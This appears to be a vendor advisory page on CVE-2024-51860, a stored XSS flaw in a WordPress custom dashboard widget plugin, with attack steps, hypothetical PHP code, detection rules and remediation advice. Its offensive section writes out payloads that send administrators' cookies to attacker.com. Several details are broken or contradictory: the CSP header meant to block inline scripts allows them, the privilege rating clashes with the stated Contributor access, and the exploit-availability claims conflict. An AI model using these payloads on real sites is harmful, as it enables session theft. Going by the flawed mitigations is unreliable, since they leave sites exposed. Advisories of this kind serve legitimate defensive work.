CVE-2024-51860
Executive Summary
CVE-2024-51860 is a Stored Cross-Site Scripting (XSS) vulnerability in the DuoGeek Custom Dashboard Widget WordPress plugin, affecting versions up to and including 1.0.0. This flaw allows an authenticated attacker with at least Contributor-level privileges to inject arbitrary JavaScript into the WordPress admin dashboard. When a site administrator or other privileged user views the compromised dashboard widget, the malicious script executes in their browser session, potentially leading to session hijacking, privilege escalation, or defacement of the admin interface.
The vulnerability stems from improper neutralization of user-supplied input during web page generation. The plugin fails to sanitize or escape data before rendering it in the dashboard widget, enabling stored XSS. Given that this is a WordPress plugin, the attack surface is limited to authenticated users, but the impact is amplified because the injected code runs in the context of the WordPress admin panel, which has elevated privileges.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository or directly from the vendor. There is no associated NPM, PyPI, Go, or Ruby package. The risk is primarily to WordPress site administrators who have installed this plugin. The lack of a known patch or update from the vendor increases the supply chain risk, as site owners must rely on manual mitigation or removal of the plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): High (H) – The attacker must have at least Contributor-level access to the WordPress site.
- User Interaction (UI): Required (R) – The victim (admin) must view the compromised dashboard widget.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component, affecting the admin’s browser session.
- Confidentiality (C): Low (L) – Limited data exposure (e.g., admin cookies, nonces).
- Integrity (I): Low (L) – Ability to modify dashboard content or perform actions on behalf of the admin.
- Availability (A): Low (L) – Potential to disrupt admin functionality.
CVSS Score: 6.5 (Medium)
Threat Level: Medium – Exploitation requires authenticated access but can lead to significant admin-level compromise.
Deep Dive & Mechanics
The vulnerability exists in the create-custom-dashboard-widget plugin. The plugin allows users with appropriate permissions to create custom dashboard widgets that display arbitrary content. The flaw occurs when the plugin outputs user-supplied data (e.g., widget title, content, or configuration) without proper sanitization or escaping.
Root Cause:
The plugin uses functions like echo or print to render user input directly into the HTML of the WordPress admin dashboard. For example, if a user sets a widget title to <script>alert('XSS')</script>, the plugin outputs this string without encoding HTML entities. When the dashboard loads, the browser interprets the <script> tag and executes the JavaScript.
Attack Flow:
- An attacker with Contributor-level access logs into the WordPress admin panel.
- The attacker navigates to the Custom Dashboard Widget settings and creates a new widget.
- The attacker injects a malicious payload into a field (e.g., widget title or content) that is not sanitized.
- The plugin stores the payload in the WordPress database.
- When a site administrator or other user views the dashboard, the payload is rendered and executed in their browser.
- The attacker can then steal session cookies, perform actions on behalf of the admin, or deface the dashboard.
Why Stored XSS is Dangerous:
Unlike reflected XSS, stored XSS persists across sessions and can affect multiple users without requiring a crafted link. In the context of WordPress, an admin-level XSS can lead to full site compromise, including installation of malicious plugins, modification of core files, or exfiltration of sensitive data.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The following is a hypothetical example of the vulnerable code and a secure alternative.
Vulnerable Code (PHP):
// In a plugin file, e.g., create-custom-dashboard-widget.php
function dg_dashboard_widget_output() {
$widget_title = get_option('dg_widget_title');
echo "<h2>" . $widget_title . "</h2>"; // No escaping
}
Patched Code (PHP):
function dg_dashboard_widget_output() {
$widget_title = get_option('dg_widget_title');
echo "<h2>" . esc_html($widget_title) . "</h2>"; // Proper escaping
}
The patched version uses WordPress’s esc_html() function to encode HTML entities, preventing script execution. Additionally, input validation should be applied when saving the option.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with the Custom Dashboard Widget plugin (<=1.0.0) installed and activated.
- An attacker account with at least Contributor-level privileges.
Exploitation Steps:
- Log in to the WordPress admin panel as a Contributor.
- Navigate to Settings > Custom Dashboard Widget (or similar menu).
- In the "Widget Title" field, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the widget.
- Wait for an administrator to view the dashboard. The script will execute, sending the admin’s cookies to the attacker’s server.
Alternative Payload (Session Hijacking):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/exfil', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('data=' + document.cookie);
</script>
Note: No public exploit code is available for this CVE. The above is a generic example.
Blue Team (Defensive)
Detection:
- Monitor WordPress admin logs for unusual widget creation or modification events.
- Look for suspicious strings in the
wp_optionstable, specifically thedg_widget_titleoption. - Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests.
Hunting:
- Query the database for stored XSS indicators:
SELECT * FROM wp_options WHERE option_name LIKE '%dg_widget%' AND option_value LIKE '%<script%'; - Review recent changes to the
wp_optionstable for unexpected HTML/JavaScript.
Mitigation:
- Remove or disable the plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Enforce the principle of least privilege: limit the number of users with Contributor or higher roles.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/create-custom-dashboard-widget/create-custom-dashboard-widget.php - Database Option:
dg_widget_titlecontaining<script>tags or other HTML/JavaScript. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel.
- Logs: Unusual widget creation events in WordPress activity logs (if logged).
Detection Engineering
YARA Rule
rule CVE_2024_51860_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Custom Dashboard Widget plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-51860"
strings:
$payload1 = /<script[^>]*>.*<\/script>/i
$payload2 = /on\w+\s*=\s*["']?[^"'\s>]+/i
$payload3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Stored XSS in Custom Dashboard Widget Plugin
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via the Custom Dashboard Widget plugin
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
event_type: "option_update"
option_name: "dg_widget_title"
option_value|contains:
- "<script"
- "onerror"
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of JavaScript in widget content (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51860 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=dg_save_widget"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete the
create-custom-dashboard-widgetplugin until a patched version is released. - Audit user roles – Review all users with Contributor or higher privileges. Remove any suspicious accounts.
- Scan for existing XSS – Check the
wp_optionstable for any stored malicious payloads and remove them.
Long-term Fixes:
- Apply input sanitization – Use WordPress functions like
sanitize_text_field()andesc_html()for all user inputs. - Implement output escaping – Ensure all data rendered in the dashboard is properly escaped using
esc_html(),esc_attr(), orwp_kses(). - Update plugin – Monitor the WordPress plugin repository for an official patch. If none is released, consider forking the plugin and applying the fix yourself.
Workarounds:
- Content Security Policy (CSP): Add the following header to block inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; // Note: 'unsafe-inline' may be needed for WordPress, but try to avoid it. - Web Application Firewall (WAF): Deploy a WAF rule to block requests containing
<script>tags in widget-related POST parameters.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.